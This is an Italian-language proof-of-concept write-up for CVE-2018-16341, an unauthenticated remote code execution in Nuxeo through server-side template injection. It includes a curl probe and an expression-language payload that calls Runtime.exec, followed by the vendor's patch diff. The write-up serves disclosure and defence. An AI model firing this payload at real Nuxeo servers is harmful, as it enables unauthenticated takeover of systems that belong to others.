
CVE-2018-16341 - Nuxeo: esecuzione di codice in remoto senza autenticazione tramite Server Side Template Injection
Esecuzione di codice remoto tramite bypass dell'autenticazione Nuxeo < 10.3 usando una SSTI - CVE-2018-16341

Analisi dettagliata (non in inglese):
Avviso di sicurezza:
Nota: La versione 9.x di Nuxeo non è più supportata da Nuxeo, ma è stata fornita una correzione (hotfix) per la versione 9.x. Dal mio lato, la versione 9.10 era vulnerabile.
Questo PoC sfrutta una Server Side Template Injection (SSTI) per ottenere la RCE situata nel file NuxeoUnknownResource.java
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
Correzione
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}